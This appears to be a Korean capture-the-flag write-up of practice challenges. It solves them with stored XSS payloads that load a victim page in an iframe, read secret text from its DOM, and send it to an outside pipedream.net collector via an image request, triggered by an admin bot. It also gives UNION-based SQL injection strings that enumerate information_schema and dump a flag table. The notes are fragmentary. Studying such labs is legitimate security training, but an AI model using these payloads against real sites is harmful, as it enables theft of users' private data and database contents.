Steal Info와 동일하지만 iframe의 대상이 mypage인듯 하다. 그렇다면 Steal Info와 동일하게 진행
1. iframe으로 공격 대상 불러오기
2. iframe내부의 공격 대상이 되는 태그의 데이터를 추출한다
마이페이지의 name이 "info"인 테그의 placeholder를 찾아보자
3. dom이 완성 된 후 데이터를 불러오기
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=p123 " id="target" width="300" height="200"></iframe>
<script>
function afterLoad() {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByName("info")[0].placeholder
var i = new Image()
i.src = 'https://enbuhmg3h5bhb.x.pipedream.net/?secret'+domData
}
var i = new Image()
i.onerror = afterLoad
i.src='x'
</script>
<div>
id로 iframe을 가져오고 iframe의 contentDocument를 접근하면 iframe의 태그에 접근 할 수 있다.
스크립트가 실행중인 시점에 Dom이 모두 그려지지 않았기 때문에 "card-text"접근 시 undifined가 발생한다.
이를 해결하기 위해 img 태그 내부의 onerror함수로 넣고 src='x'로 넣게 된다면 이미지 태그는 모든 돔이 그려진 뒤 이미지를 호출 하기 때문에 "card-text"가 존재하는 시점에 스크립트가 실행된다.
Content-Disposition: form-data; name="update_body"
p123
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target" width="300" height="200"></iframe>
<script>
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
</script>
<div>
3. 데이터 전달하기
페이지에 접근 결과 urnEncoding된 데이터로 "this is a very secret info"를 확인 할 수 있다.
이제 iframe에 카피 페이지가 아닌 실제 데이터가 있는 페이지로 url을 변경하고 관리자가 접근 하도록 봇에 url을 넘겨보
mypage.html 에서 secret.php 로 iframe url을 변경
Content-Disposition: form-data; name="update_body"
p123
</div>
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target" width="300" height="200"></iframe>
<script>
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
</script>
<div>
관리자 봇에 해당 XSS가 포함된 게시물의 URL을 전달하면 Flag를 얻을 수 있다.
정리
1. iframe으로 공격 대상이 되는 페이지를 XSS가 일어날 수 있는 페이지에서 추가 삽입한다.
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
3. 스크립트의 실행 시점에 데이터가 존재하지 않느다면 onerror등을 통해 이후에 실행 하도록 한다.
var b = new Image()
b.onerror = function () {
var target = document.getElementById('target')
var domData = target.contentDocument.getElementsByClassName('card-text')[1].innerHTML
var i = new Image()
i.src = "https://enbuhmg3h5bhb.x.pipedream.net/?srcret=" + domData
}
b.src='x'
option_val=username union select table_name,table_schema,3,4,5,6,7,8,9,10 from information_schema.tables order by 1 #&board_result=aksrl25&board_search=%F0%9F%94%8D&date_from=&date_to=
injection
option_val=username union select table_name,table_schema,3,4,5,6,7,8,9,10 from information_schema.tables order by 1
flagHere 테이블 확
테이블 스키마를 역정
option_val=username union select table_name,table_schema,column_name,4,5,6,7,8,9,10 from information_schema.columns order by 2 desc
option_val=username union select idx,flag,3,4,5,6,7,8,9,10 from flagHere #